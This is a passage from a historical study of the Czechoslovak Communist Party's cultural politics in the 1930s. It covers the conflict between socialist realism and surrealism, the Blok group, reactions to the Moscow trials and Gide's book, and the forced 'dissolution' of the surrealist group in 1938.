From the point of view of the subject matter of this publication, we cannot help but mention the campaign waged prior to the parliamentary election in the communist press Haló noviny. It was a survey called "Why I will vote for the communist party," whose respondents were prominent personages from cultural life. Writers expelled from the KSCˇ in 1929 also joined the campaign, for example, S. K. Neumann explained his choice saying that "they are the only consistent force fighting against fascism of all colours and for the Soviet Union." Similar reasons are also given by I. Olbracht, M. Pujmanová, V. Vancˇura, and V. Nezval. They all see the only alternative in the struggle against fascism, that is, the Soviet Union, and claim that the postwar liberal democratic regimes in Western Europe are to blame for this situation. Among the culprits of these events they also included the socialist parties of the government coalition, which opposed the Communist Party.
The new Czechoslovak concentration government, formed on June 4, 1935, was similar to the previous government. The post of prime minister was again taken by J. Malypetr, a representative of the moderate wing in the Republican (Agrarian) Party. The democratic character of the republic was thus maintained; however, this government was not to last long. In November of 1935, the right wing of the Republican Party, represented by Rudolf Beran, gained the upper hand. The moderate Malypetr was replaced as prime minister by Milan Hodža. Following the subsequent abdication of President Masaryk, Minister of Foreign Affairs Beneš also left the government when he accepted the candidacy for president. In the vote, where the right-wing parties nominated as their candidate B. Neˇmec, the KSCˇ supported Beneš's candidacy.9
When in the subchapter's title I used the word positive in quotation marks, what I meant was the discrepancy between the undoubtedly positive moves of the KSCˇ in the period of the fascist threat to the republic on the one hand, and the revolutionary rhetoric on the other. The two sides of the party's activity did not reach harmony until after the seventh congress of the Communist International, which was held in Moscow between June 25 and August 20, 1935. This congress approved a new political line for the international communist movement, whose foundation was the creation of a unified popular front against fascism. The strategy of the struggle against fascism and the immediate goals of the movement were reevaluated. The fight for the dictatorship of the proletariat was replaced as the Comintern's immediate goal with the fight against fascism. According to the new program, power was not to be assumed by the proletariat, but "it was first supposed to be a government of all antifascist forces on the eve of the victory of the socialist revolution."10 Immediately before the presidential election, B. meral conveyed this change of position to the central committee of the KSCˇ. According to his speech, "the party must concentrate on the defense of democracy and the independence of the Czechoslovak Republic against Hitler."
Despite the warming relations with the democratic forces in Czechoslovakia and despite all the positive announcements toward the reformist parties, the KSCˇ continued with its independent politics, whose final goal was the assumption of power. Proof of this is the Comintern's stand on the issue of so-called popular fronts, in which communists were to join forces with reformists in the fight against fascism. The Comintern consistently insisted that the leading role in the popular fronts must be played by communist parties.11 This trend within the KSCˇ became evident following the return of the party's chairman, K. Gottwald, released under the amnesty, to Czechoslovakia at the beginning of 1936. Gottwald criticized the current verma leadership for overly converging with the domestic Czechoslovak regime and with reformist parties, particularly the social democrats. At the plenary meeting of the central committee of the KSCˇ in February of 1936, he said that the party "had succumbed to the tendency of diminishing the difference between the communist politics of the class struggle and the social democratic politics of class peace."12
Similar tendencies which relativized the positive politics of the KSCˇ also showed at the seventh congress of the party, held between April 11 and 14, 1936. The whole congress was organized in an antifascist spirit. Former members of Henlein's party wore sackcloth and ashes and praised the advantages of internationalism. The congress once again denounced Jílek and Bolen's "sectarian leadership." Also openly discussed at the congress was the "Trojan horse" tactic in gaining new members and followers of the KSCˇ, both in trade unions and directly in other political parties. Party chairman Gottwald spoke of another great danger for the communist movement, Trotskyism, which "had to be rooted out." The main resolution of the congress was the definition of the so-called popular front, which under the supervision of the KSCˇ was to be the only organization of antifascist fighters in the country.13 This ineradicable feeling of exclusiveness, which coincided neither with the real political situation nor with the position and the support of the Communist Party, can be marked as the borderline of positive politics of the KSCˇ.
En Route to Socialist Realism
In the previous chapter I talked about the dispute between supporters of socialist realism as the only acceptable art form of the communist movement (Gorkij, Zhdanov) and advocates of the plurality of art forms (Bukharin). The seventh congress of the KSCˇ showed that the surrealist group, which until then had been tolerated in the communist movement, found itself on the edge and in danger of excommunication. What happened was that the congress leaned toward socialist realism at the expense of surrealism; however, surrealism fits in the wider discussion on socialist realism, which I am about to describe in more detail.
The discussion on socialist realism and surrealism in Czechoslovakia is practically one and the same as these were the two most important streams within the Left Front. Communist critics tried to prove that only the art of socialist realism, that is, art about and for the proletariat, art connected with politics, could be considered communist art. On the other hand, the main ideologist of surrealism, K. Teige, opposed that with his own vision of progressive art. His defense of surrealism was based on the belief that "just as a revolutionary's job is to build things up in the Soviet Union and wreak destruction in the West, art in the West must also provide support against the enemy reality, it must have a destructive, surrealist form."14 According to Teige, there is no need to understand modern artwork, it affects us directly by a so-called short connection. Both the spectator and the reader must become coauthors and finishers of a work of art, they must eliminate all obstacles of the mind and conventions. Teige sees the reason why modern art leaves people cold in the wrong attitude of man to artwork and his tastes, spoiled by bourgeois trash. In Teige's opinion, people must be educated to appreciate modern art. He never fails to emphasize that all works of surrealism are a tribute to Marx, whose materialist dialectics prepares us to "overcome the pre-history of mankind."
It is clear that surrealism had nothing in common with proletarian art as the communist leadership understood it. However, as long as Teige professed Marxism and based his reasons on theoretical quibbles, the KSCˇ could not really intervene. In the speeches of the party's representatives, we encounter open criticism of surrealists, particularly in connection with their weak involvement and the minor impact of their works on the proletariat. For example, V. Kopecký spoke against the surrealists in his speech at the seventh congress of the KSCˇ.
We must not uncritically applaud every form of 'leftism' in culture and art. There is an unhealthy form of leftism, which drives masses of people away, and which might very well cause the left to get sidetracked instead of getting to lead the nation. This type of leftism sends masses into the arms of the fascists, who under this kind of 'leftism' have a free hand with their demagogy that follows up on folk elements, ignored by the leftist art, and thus can incite people against true leftist culture, against truly leftist intellectuals and artists in general.
We, communists, do not wish to order artists so far as what form of expression and artwork to use, but what we are saying is that we would be happy if some poets and writers tried to do more for the popular front by searching for inspiration in the healthy mind of the people instead of the questionable subconscious mind.15
In his speech, Kopecký pointed out as an example of cheap folk art S. K. Neumann and Osvobozené divadlo (Liberated Theater with Jan Werich and Jirˇí/George Voskovec).16
This evaluation of the role of art as a means of gaining as many followers as possible could be disputed. Today, we know that official fascist or Soviet art used similar promotional methods. The question of the impact of such art on the "masses" can be relativized, but the then KSCˇ leadership did not see the issue from the distance that we have and supposed that surrealism was not an art form which could bring new members to the KSCˇ. The question is if any kind of art can in fact bring new members to a political party, or whether this can be credited to individual charismatic artists who in their political activity support some political movement.
Because of their membership in the party and the Left Front, and thanks to Teige's power of argumentation, for a long time surrealists could officially claim to be part of the cultural policy of the KSCˇ. Their contribution for the benefit of communist art was insignificant. They took part in events supporting the Spanish Republic, congresses defending culture in 1935 and 1938, and they publicly claimed their loyalty to the KSCˇ. In the surrealism anthology, which was published in February of 1936, Nezval described the situation of surrealism in Czechoslovakia rather optimistically: "We are pleased, both for ourselves and for the politics of the KSCˇ, that no major or long-lasting misunderstanding occurred between us. . . . In Prague, sooner than anywhere else, professional politicians as well theoreticians of dialectical materialism acknowledged the revolutionary significance of surrealism and its art work."17 This proclamation came only two months before Kopecký's speech at the seventh congress of the KSCˇ, in which socialist realism became the official line of communist art, and it was only a matter of time and the right excuse before the party intervened against the surrealist group within the Left Front. Meanwhile, a strict campaign by communist critics continued against the surrealist group.
The Blok Group
In 1936, next to the Left Front appears another cultural formation, which attempts to unite the splintered leftist cultural communities. The group was called Blok (trans. Bloc), which in February of 1936 starts, under the editorial supervision of B. Václavek, L. Jilemnický, and J. Noha, publishing its own quarterly, called U. In their proclamation, the group declares the effort to develop "to the full extent those creative perspectives that were foreshadowed, among others, also by the congress of Soviet writers two years before and the Paris congress of writers for the defense of culture against fascism the year before."18 The group embraces the idea of socialist realism and attempts to reunite all pro-communist cultural workers based on a unified art form. The list of signatories19 suggests that the Blok had close ties with the Left Front and the KSCˇ (particularly B. Václavek, J.V. Pleva, and J. Taufer). Its attempt at the collectivization of leftist culture was directed mainly against the surrealist group.
In his evaluation of the situation in Czechoslovak literature at the time, which was published as the feature article of the first issue of the U revue, B. Václavek attempts to analyze the dissension in the left-wing cultural community. He claims that poetists
also always kept an essentially materialist perception and the feeling of a great historical turning point, which tainted all revolutionary literature after the war. In the subsequent years of social reaction, both streams—proletarian literature and poetism—were shattered and their individual representatives gradually left the fighting front. There were personal disputes, related to the return to the old individualism of self-pity, other times it was the loss of a clear perspective that the world is headed for socialism.20
According to Václavek, the cause of the dissension in leftist art is the retreat from artistic collectivism, represented by new art styles that put an emphasis on individuality. The main style of these was surrealism, which Václavek, though indirectly, attacks.
Not art production for art production itself, but such production which contributes to the grand work of finally liberating mankind from the dominion of nature and from the dominion of exploiters, and also to the work of the never-ending development of human body and soul. . . . New synthetic [meaning collectivized] art is born today by hundreds and thousands of acts. It is alive and part of the activity of that social front of today, which fights for life and its development; an activity manifested by a special art form [social realism]. Those who formed the Blok group as well as its magazine have devoted all their strength to serving this new art form.21
Thus, Václavek drew a clear line between artists who adhered to communism and its enemies.
The close ties between Blok and the KSCˇ became absolutely clear in the second issue, which mentioned the names of other artists who had joined the group. The list includes S. K. Neumann, I. Olbracht, M. Majerová, and M. Pujmanová.22 S. K. Neumann joined the discussion on synthetic (collectivized) leftist art by writing an article entitled "Blok—The Way I See It." According to Neumann, what needs to be done first and foremost is to unite socialist art production.
I think that after the experiences from the past ten years, it is possible to achieve today what was not achieved during the time of so-called proletarian poetry. Both the views and the means of expression of socialist art production are more profound now. . . . It is clear today that he who is skilled in production should produce, and if it is necessary today to fight on all fronts, then he should also fight by means of his production. However, it is the hardest way to fight, much harder than by articles, polemics, manifestos, etc.23
By elevating socialist art production as the hardest way of fighting, Neumann once again confirmed his elitist views, of which he could not free himself.
In the third issue of the U magazine, published in October of 1936, we can find two very fierce attacks on surrealism by K. Jirˇícˇek and L. Svoboda. In his article entitled "On the Issue of Surrealism," Jirˇícˇek contemplates on the influence of surrealism on leftist art and concludes that "the core of reactionary influence of the individualist theory of surrealism as well as the reactionary aspect of its practical effects lies in wanting to fully lean on fantasy; on a component of the human psyche, which not only does not exist isolated from the rational conscience, but which in comparison to the rational mind represents a lower stage of development, an archaic element."24
After Jirˇícˇek's theoretical contemplation comes a frontal attack by L. Svoboda in his review of A. Breton's book Position politique du Surréalisme. According to Svoboda,
surrealists often and loudly proclaim that they walk hand in hand with the revolutionary proletariat and that they also accept Marxist-Leninist philosophy. There can be no doubt about that, says Breton. What he claims, at all times and with due emphasis, is that he finds unacceptable much of what is declared by the official representatives, both Soviet and foreign, in matters pertaining to cultural policy. Everything that happens on the cultural front in the Soviet Union and is then "unreasonably spread" also to other countries is a big misunderstanding. He considers the cultural policy of the Soviet Union unfortunate and even futile, as shown by the cultural development there. He speaks particularly harshly against the current political regime of the USSR, mainly driving at the "servitude" not only to the Union of Soviet Socialist Republics, but directly to one person—Stalin.25
Svoboda thus brings up a topic which meant a definitive split not only of the Czechoslovak, but also the world cultural left in the second half of the 1930s. The topic was the cult of personality developed around J. Stalin, built upon bloody political purges in the Soviet Union, on which neither the cultural left nor the majority of democratic politicians and artists under the fascist threat managed to take a clear disapproving stand. It was the surrealists who were the most vocal critics of Stalinism within the communist movement. These were mostly prominent artists and cultural personalities, whose opinion had relevance and who represented a real threat for the Comintern. Their "Trotskyist views" were therefore resolutely rejected by the Comintern and its sections, and surrealists were ousted from the communist movement.
Notes
1. (The KSCˇ) "focused on the immediate execution of a revolution. Next to the legal organization, the party built an illegal network of factory and neighbourhood organizations as well as an illegal central committee of the party, which was getting ready to coordinate the revolution." Veˇra Olivová, Cˇeskoslovenské deˇjiny 1914–1939 (Prague: Karolinum, 1993), 193.
2. Olivová, Cˇeskoslovenské deˇjiny, 193.
3. Komunistická revue, October 1933, 231.
4. Luboš Brabec, Publicista Záviš Kalandra (M.A. Thesis, Charles Univerzity, Faculty of Social Sciences 1998).
5. Brabec, Publicista Záviš Kalandra, 35.
6. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 218.
7. Olivová, Cˇeskoslovenské deˇjiny 1914–1939.
8. L'ubomír Lipták, Politické strany na Slovensku (Bratislava: Archa, 1992).
9. A detailed description of political events is not the aim of this publication, but it was not possible to completely avoid it. To better understand the development of the events, one would need to search in a specialized history book on this historical period, for example, Olivová, Cˇeskoslovenské deˇjiny 1914–1939.
10. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 224.
11. An example of the real politics of the Soviet Union in this matter was the development of the civil war in Spain, where the communists, trying to concentrate all power in their hands, fought not only against the fascists, but also against so-called Trotskyist organizations. George Orwell, Hold Katalánsku (Prague: Odeon, 1991) and Luis Buñuel, Do posledného dychu (Bratislava: Slovenský spisovatel, 1986).
12. Olivová, Cˇeskoslovenské deˇjiny 1914–1939, 256.
13. Protokol 7. Rˇádného sjezdu KSCˇ 11.–14. dubna 1936 (Prague: Svoboda, 1967).
14. Karel Teige, Zápas o smysl moderní tvorby. Studie z trˇicátých let. Výbor z díla II. (Prague: Cˇeskoslovenský spisovatel, 1969).
15. Protokol 7. Rˇádného sjezdu KSCˇ 11.–14. dubna 1936 (Prague: Svoboda, 1967).
16. I have already mentioned several times Neumann's loyalty to the changing KSCˇ leadership, which further rose in the second half of the 1930s (I will mention the book Anti-Gide neboli optimismus bez poveˇr a iluzí in the next chapter). As for the exaltation of the protagonists of the Osvobozené divadlo, I mainly refer to the Martin/Mac Fricˇ movie Sveˇt patrˇí nám, which is undoubtedly strongly critical of German fascism, but is also an open glorification of communist collectivism.
17. Qtd. in Cˇeská literatura v boji proti fašismu (Prague: Cˇeskoslovenský spisovatel, 1987).
18. U Blok 1, no. 1, 99.
19. P. Jilemnický, K. Jirˇícˇek, K. Konrád, F. KráL', Ó. Lysohorský, F. Nechvátal, J. Noha, J. V. Pleva, F. Píšek, J. R. Ponicˇan, A. Pospíšilová, L. Svoboda, J. Taufer, B. Václavek, J. R. Vávra, G. Vcˇelicˇka, J. Weil.
20. U Blok 1, no. 1, 47.
21. U Blok 1, 47.
22. "Apart from these, we received a number of applications from young authors. Although we take them seriously, we do not wish to build up a mass organization without inner unity and outer relevance. Therefore, we require a certificate of art qualification and agreement on ideological matters. . . . We do not want to be a group of the young generation either: Our unity and direction reach across generations toward the working and productive unity of everyone who works for the socialist tomorrow" (U Blok, volume I, issue 2, 181). It seems that only "sufficiently deserving" leftist artists were worthy of joining the group without any conditions.
23. U Blok 1, no. 2, 102.
24. U Blok 1, no. 3.
25. U Blok 1, no. 3, 290–91.
# Chapter 15
## Political Trials in the
USSR, Trotskyism, and
the Definitive Dissension
in the Cultural Left
Stalin's Dictatorship and Its
Acceptance among Leftist Intellectuals
The transition of the Soviet Union's foreign policy in the mid-1930s meant a need for the world to take a different stand on the Soviet political regime than in the past. While previously the Soviet regime was considered to be immoral, undemocratic, and tyrannical, following Stalin's diversion from the idea of exporting the revolution to the theory of socialism in one country, the perception of an aggressive Bolshevik regime changed in the eyes of many observers to a friendly acceptance. This was very noticeable also on the Czechoslovak political and cultural scene. Czechoslovakia's orientation toward the Soviet Union, supported by the mutual agreement from 1935, aroused in a large number of politicians, publicists, and artists an attitude oscillating between uncritical admiration, false hope, and reverent restraint in the criticism of the domestic political situation in Soviet Russia. Z. Kalandra aptly described this atmosphere when he wrote: "Some friends of the Soviet Union look at this country as if it were a greenhouse that must beware of any stones that could be thrown at its sides by an enemy. In its defense, they could get the idea that the regard for the existence and the needs of the USSR limits the possibilities of our revolutionary maneuvering."1
As a leftist intellectual, identifying himself with Lenin and Liebknecht's legacy, Kalandra was unable to cope with the inner transformation in the Soviet Union and the communist movement. He considered Stalin's policy a retreat from revolutionary ideas and during the 1930s he repeatedly pointed out the discrepancy between the Soviet theory and the practices of the Bolshevik regime. Kalandra was convinced that the rigidity of the Soviet regime and the postponement of the world revolution were the biggest danger that played into the hands of fascism. Therefore, according to Kalandra, the idea that the Soviet Union as the main guardian of world peace against fascism must not be criticized in order not to threaten its stability was a mistake. "The Soviet Union is not a greenhouse but a stronghold; it is not the brake of our possibilities but its engine." Kalandra considered the uncritical attitude to the change of political direction in the Soviet Union a step in the wrong direction, but his approach aroused very little interest and Kalandra became the target of criticism not only by communist, but also noncommunist publicists.2
During this time, from the mid-1930s, a political purge was taking place in the Soviet Union, which affected hundreds of thousands of members of the Bolshevik party and millions of inhabitants. By means of these purges, Stalin got rid of most of the high-ranking functionaries who had helped establish the Soviet regime (Zinovev, Kamenev, and others) and practically became the sole ruler of the Soviet empire with unlimited power. The position on the politically motivated trials, whose main target, L. D. Trotsky, had lived in exile from 1929, represented a differentiating mark in the world as well as the Czechoslovak left, political and cultural, and in the end brought about a definitive dissension in the artistic avant-garde. "The Moscow trials and their perception became a great trauma for the Czech inter-war left. . . . For the first time since the bolshevization of the KSCˇ in 1929, the party intellectuals faced a major inner dilemma between the course dictated by the Soviet leadership and their own fundamental free-mindedness, which meant a forced departure from the communist movement."3
The political trials that took place in the Soviet Union remained veiled in mystery for a long time. This was caused mainly by the lack of credible and undistorted information. If there was someone who was at least partially informed about the trials, it was the leftist artists. Artists sympathizing with the Soviet Union4 met at fancy parties in the Tereza villa in Prague, the seat of the embassy of the Soviet Union in Czechoslovakia. These parties were organized by the ambassador, Alexandrovskij, who in 1938 became a victim of the purges himself.
The first negative reactions to the Moscow trials came already in 1935. I mentioned Svoboda's criticism of Breton's book, Position politique de Surréalisme. In the book, Breton criticized the cultural policy of the Soviet Union, which persecuted avant-garde artists. One of the first people to protest against the trials in Czechoslovakia was Z. Kalandra. As Tvorba's editor-in-chief, he spoke out against Moscow's leadership of the Comintern and its policy. He accused Spanish communists of a coup, the Bolshevik party of betraying the international revolution, and the KSCˇ of betraying Leninism. He also spoke on behalf of those accused in the Moscow trials. Kalandra's views resulted in his being accused of Trotskyism and the cancellation of his membership in the KSCˇ.
Following his split with the communist movement, Kalandra became a fierce critic. He based his criticism of Stalin's policy and the policy of the KSCˇ on Lenin's convictions, which in many ways were identical to those of Trotsky, who lived in exile at the time. Together with the earlier excommunicated J. Guttmann, in September of 1936 Kalandra published an article entitled "Odhalené tajemství moskevského procesu" (Mysteries of the Moscow Trial Revealed).5 According to its authors, the only aim of the processes is "Stalin's attempt at terrorizing Leninist revolutionaries and scaring all honest communists around the world who do not identify themselves with the anti-Leninist direction of the Comintern. . . . The opposition, gathered under the flag of the new International,6 is to be drowned in dirt and blood."7
Guttmann and Kalandra criticize the Soviet Union's policy in Spain and France, as well as its internal Soviet policy, particularly the adoption of the new constitution, which limited the powers of the soviets. "The old doubts about the correct policy of the seventh congress have changed into a conviction of its insincerity and destructiveness. Each new move by people like Thorez, Diaz, and Gottwald on their social patriotic path steps up the discontentment of ordinary members of communist parties."8 The authors also criticize the top representatives of the KSCˇ, who advocate the Moscow trials as a way of reckoning with the criminal elements that were threatening Stalin's life, and point out the apparently enforced confessions of all the accused:
In Rudé právo paper Jan verma "proves" that the confessions of the accused are the best proof of their guilt. It is surprising that such "proof" should be supported by verma, who so many times before "pleaded guilty" under the much more subtle terror of the Comintern's bosses and admitted to doing things he had never done and repented for sins he had never committed. Jan verma knows well how things are run in Moscow. That is exactly why he lends himself as a tool of Stalin's deceit: he prefers his wages to Bolshevik honesty.9
At the end of the article, Guttmann and Kalandra support the ideas of Trotsky and the Fourth International.
The Moscow trials aroused doubts also among leftist artists. Mainly Karel Teige, who was well informed about the persecution of avant-garde artists in the Soviet Union, did not hide his skepticism about the legitimacy and legality of the trials. Teige's doubts were supported by V. Nezval, who in early September of 1936 wrote to Teige: "I have a feeling that we both see it the same way."10
A major dissension among communist intellectuals was caused by A. Gide's book, Return from the USSR. In 1936 Gide visited the Soviet Union and gave a realistic account of the situation in that country. He wrote: "I saw the best and also the worst of the USSR." Gide's criticism was directed mainly against the political trials, which avoided no one, not even the top communist elite.
S. K. Neumann quickly reacted to Gide's accusations with his "anti-book," Anti-Gide, or Optimism without Superstitions and Illusions. In his book, S. K. Neumann, not knowing the real situation in the Soviet Union, avoids any kind of evaluation of the political situation there and defends the country not based on reality, but using ideological phrases about the first workers' state, the most democratic system of government, and so on. There are also signs of skepticism, when Neumann writes that life in the Soviet Union may not be perfect but the ideas the Soviet regime is built upon are undoubtedly correct. Neumann directed his ideological criticism against everyone who disagreed with the Comintern's trend, but who claimed to be part of the communist movement. Such people he labeled Trotskyists and considered Trotskyism as a "revolt of the intelligentsia against the people, miniature Gide-ism and mass Kalandra-ism."11 Neumann, just like the others, lacked information but made up for it with ideological obedience. Any doubt about Stalin and the Soviet Union would have been unacceptable for him. We need to emphasize that virtually all reactions to the trials were only speculative, not fact-based. Teige, Kalandra, and others at least speculated—and doubted—however, the majority of leftist intellectuals uncritically defended the political trials.
Neumann's Anti-Gide provoked a fierce exchange of opinions among leftist intellectuals. The book was unequivocally welcomed by the orthodox communist critics gathered in the Tvorba magazine, for example, L. toll.12 On the other hand, the book was rejected by Kalandra and also Kamil Bednárˇ, who accused Neumann of "just showing his individual path from anarchism to bolshevism." In January of 1937, the Prˇítomnost magazine initiated a discussion on the political trials in the Soviet Union. Apart from Kalandra, Gide's critical book was also defended by Guttmann. On the other hand, Z. Nejedlý took the opposing stand by accusing Gide of publishing his objections to the Soviet Union only after his return.
Gide's book and Neumann's reaction aroused a strong reaction also inside the Blok group. Mainly B. Václavek accepted with enthusiasm Neumann's Anti-Gide.
Extremely important is Neumann's persuasive account of the communists' relationship with democracy, who sincerely defend the democratic republic against fascism as the best form (of government) for the proletariat in capitalism (Lenin), but knowing its weaknesses, they strive to replace formal liberal democracy with a higher form of proletarian democracy, the transition stage to which is left, revolutionary democracy. Everyone with a sincerely democratic leaning is pushed by fascism to this form of democracy. . . . A higher form of democracy, democracy for the majority of the people, is implemented in the USSR today. The process of development from formal to proletarian democracy takes place around the whole world and its connection with the first proletarian state is evident.13
In his article, Václavek (perhaps not knowingly) admits to what I pointed out at the beginning of this chapter, which is that ever since the USSR joined the antifascist, "democratic" camp, criticism of the Soviet Union had been considered unacceptable.
Inside the Blok, only one of the three editors, J. Noha, stood by Gide. Noha objected to the distasteful campaign which the communist press waged against Gide. "During his stay in the Soviet Union, Gide dared to see, and what's worse, when he came back, he dared to write what he had seen. And what happened was that the European as well as the Soviet press turned the 'representative spirit of mankind' into a naive, conceited and selfish individual, an incompetent babbler and a homosexual."14 Noha subsequently joins the anti-Stalinist trend in the world communist movement:
I didn't know that A. Gide was a Trotskyist . . . but now I know that a Trotskyist is anyone who looks for the bloody questions the Soviet Union asks us every day. Now I know that a Trotskyist is he who looks for the Fourth International in the lead of the world's working class, who is concerned by questions such as who is responsible for the defeat of the Chinese revolution, the German proletariat and later the murder of the Spanish revolution. Are these facts and experiences not appalling? Is the faith that you [meaning S. K. Neumann] prescribe to young people enough: "Stay calm and keep your faith that in the end it will be mankind that will win, not its parasites."15
Neumann replied to Noha's criticism in the same issue of the U magazine. He tried to prove that Trotsky had never been a true communist and had joined the "revolution at the last moment (in August of 1917)."16 According to Neumann, Trotsky had always been a hateful opponent of Lenin, whom he considered to be a "professional exploiter of the working-class movement." Neumann concludes by saying that "the first real staff of the October revolution, elected on October 10, 1917, based on Lenin's recommendation, were: Stalin, Sverdlov, Džeržinskij, Bubnov, and Urickij. Against the revolution were Trotsky, Zinovev and Kamenev."17
Noha's defense of A. Gide has an aftermath. In the following issue of the U magazine (January 1938), we can read that "the discussion between Jan Noha and S. K. Neumann was transferred to the inner forum of the Blok group, where almost all of Blok's members took part in it in written form."18 At a two-day meeting, held on October 31 and November 1, 1937, the survey's results were evaluated. According to the article, the intra-editorial discussion
was mostly against the opinions expressed in the Noha—Neumann discussion by J. Hora. . . . As the Blok's general directive, the cultural popular front was passed as well as a unanimous resolution . . . in the future not to publish views either concerning cultural policies or art theory that could threaten the public function of the Blok as the nucleus of the cultural popular front in the area of literary art. The discussion resulted in a change in U's editorial staff, when Jan Noha resigned as editor.19
Later, on December 11, 1938, Jan Noha also announced his departure from Blok. Thus the Blok group proved that in the "interest" of the cultural popular front, it had not shied away from politicking similar to that practiced by the official communist press, whether political or cultural.
Position of the Surrealists
Undoubtedly the most critical and skeptical position among leftist artists not only on the political trials in the Soviet Union, but also on the overall transformation of the goals of the Communist International, was held by the surrealists. In the second half of the 1930s, the most prominent world representatives of this art style strongly criticized the situation in the USSR, both in the area of politics as well as culture and art. Breton, Buñuel, and others did not conceal their outrage at the persecutions of old Bolshevik politicians and avant-garde artists. The most complex and fact-based criticism came in the form of the previously-mentioned Gide book, Return from the USSR, which aroused a wave of hysteria in the communist press not only against Gide, but also against surrealism as a whole. In Czechoslovakia, S. K. Neumann took advantage of Gide's artistic affiliation for an attack on surrealism. At the beginning of 1938, Neumann published a critical evaluation of surrealism in the Tvorba magazine, in which he labeled surrealism as a decadent bourgeois movement, which disrupts the unity of the leftist cultural front by being influenced by individualism and Trotskyism. A number of leftist intellectuals opposed this attack, although some of them were not members of the surrealist group themselves, for example, Novomeský, Vancˇura, and Hoffmeister. K. Teige, leader of the surrealist group, protested against Neumann's criticism most vehemently when he compared the Marxist rejection of surrealism to its suppression in Nazi Germany.20 It was this comparison that was later used as an excuse for "dissolving" the surrealist group. Before the group's dissolution, though, the KSCˇ, through the statements of its leaders, appeared as if nothing had happened.
To Hoffmeister's concerns that Neumann's criticism discourages progressive artistic elements from collaborating with the Communist Party, KSCˇ replied through V. iroký's article in the Tvorba magazine, which, among other things, states:
The Communist party did little to change its cultural policy and as before—putting emphasis on the development of all the elements of socialist cultural production—it continues to have the most positive approach to all truly progressive elements in art. . . . We have never prescribed how an artist should create, what forms to use, and we are not going to do so in the future either. For us, the decisive thing is what his world view is. . . . But if nowadays every criticism, even substantiated, of our comrades arouses resistance among part of those that Hoffmeister calls progressive elements in art, it is a politically extremely unhealthy phenomenon, which in the end would threaten even the creative power of these very progressive elements. Yes!—such is the answer we can give A. Hoffmeister and all those on whose behalf he posed his question—it would not be right to scare away and discourage artists from the common progressive front only because they search for new forms of artistic expression, but that never occurred to us, communists.21
In his article, iroký clearly outlines what was to come. So far, Teige and the surrealist group resisted pressure for their expulsion from the Left Front, and subsequently from the KSCˇ, because their deft defense was based on Marxist principles, compared to the artless and cumbersome critique. As it was not possible to remove surrealists on the grounds of art theory, a political reason came in handy.
On March 24, 1938, by order of the Communist Party, V. Nezval announces in the Haló noviny the dissolution of the surrealist group. The reasons supplied are, among others, the following:
At a time when this group started to voice such political opinions which I consider, given the role of the Soviet Union and the effort to form a united anti-fascist front, wrong and dangerous, I deemed it my right and my duty to announce the dissolution of the group, for which as its founder and thanks to my activity in the group I have assumed responsibility in the public eye.
As one of the reasons for the group's dissolution, Nezval also mentioned Teige's comparison between Nazism and communism.22 Nezval admitted his "mistakes" by saying that "at the time of the trials with Zinovev, I was one of those who did not understand the trial. . . . When I recently found out that the members of the group (Teige, tyrský, Toyen, Brouk) did not understand the substance of the Soviet trials, that they did not interpret them as criminal trials, I made the decision to dissolve the group. . . . We must approve even of such acts of the Soviet regime like the death penalties handed out in the Moscow trials." On the orders of the communist leadership, Nezval exposed himself to self-criticism, repented and gladly declared the dissolution of the surrealist group, in which he no longer felt comfortable anyway. It did not matter that not only had he not established the surrealist group, but he had never played a major role in it either. For his act, he received praise from the Bolsheviks and strong criticism from the surrealists.
Most members of the surrealist group rejected their "dissolution" by Nezval. Quite the contrary, Teige and Toyen announced in the press that Nezval had been expelled from the group. The surrealist group found itself outside the Left Front and the KSCˇ, or more precisely, in opposition to these organizations. In his new role as nonmember and Trotskyist, Teige loses his respect for the international communist movement and openly criticizes the Moscow trials. He publishes a brochure called "Surrealism Against All Odds," in which he criticizes just about everybody; Neumann for his book Anti-Gide, Nezval for attempting to dissolve the surrealist group, the communist literary critics for socialist realism.23
On the cultural left, the excommunication of the surrealist group aroused another discussion on the form of socialist art and obviously also on the political situation in the Soviet Union. While the Left Front had nothing but scorn for the surrealists, the U Blok strove for a more profound analysis of the crisis among Czechoslovak intellectuals. According to an anonymous article in the first issue of the third volume, "[leftist intellectuals] are disappointed—some because there is still a class struggle going on in the USSR and they are beginning to speak out against its 'goriness.'24 Others accuse the USSR of their own, 'European' defeatism, saying the Soviet Union does not care enough about the rest of the world (mainly Spain)."25
In the following issue, Blok responds to Teige's criticism of socialist realism and its ties with the Soviet regime: "What . . . we must resolutely reject is the assertion that socialist realism and its representatives and supporters in Czechoslovakia are only agents of Soviet culture, as if they did not have their own ideas, as if there were no preconditions for socialist realism in this country and our socialist realism were only an attempt at conforming our cultural efforts to the Soviet directives."26 The Blok group—unlike the exclusively Stalinist style of the Left Front—kept a foolish and unreal vision of its independence, but its ideological views were dangerously similar to those of the official communist course.
The most zealous advocate of Teige's book Surrealism Against All Odds was Z. Kalandra, who believed that Teige's pamphlet was to be understood as an expression against Stalinist reaction. "Publishing [the pamphlet] is proof that the most conscious part of the artistic and intellectual avant-garde in Czechoslovakia today understands the necessity of waging a war on all efforts at uniformity, on two fronts—against both the conservative academic right and reaction, and also against the cultural policy of the Communist Party of Czechoslovakia." Kalandra also criticizes the communist critics who "very well stand out among the other repentant bureaucrats, who in a lecture from 1927 recalled his campaign against poetism, only later—influenced by the Open letter of the Charkov literary conference—to take it back."27 Kalandra namely mentions K. Konrád, J. Rybák, and L. toll; however, the biggest share of criticism belongs to S. K. Neumann. Nezval also gets his share of condemnation: "Finally, there is the embarrassing example of V. Nezval, whose most recent pure Stalinist orthodoxy go hand in hand with celebrative poems about the well-known leader of the Czech bourgeoisie28 in one unit of undoubtedly commercial orientation."29
According to Kalandra,30 the main contribution of Teige's book is in uncovering similarities between the Soviet and Nazi regimes.
The merit of Teige's book is in entangling the halo above the heads of Czechoslovak Stalinist cultural agents—but its main significance lies in something else. It lies in defending the freedom of artistic and scientific work against the pressure of uniformity, which today comes from both Moscow and Berlin, and where against the Goebbelses and Jezhovs he emphasized the right and obligation of revolutionary intellectuals to explore the territory of cultural reaction by way of Marxist analysis in both the Soviet as well as the western world.
Kalandra suggests that surrealists, just as the Trotskyists, found themselves "between the streams" looking for a "third way" between Hitler and Stalin.31 Unlike the communist critics, Kalandra was convinced that surrealist art could positively affect the masses, although he was partly skeptical as far as the comprehensibility of surrealists' works of art for the general public was concerned.32
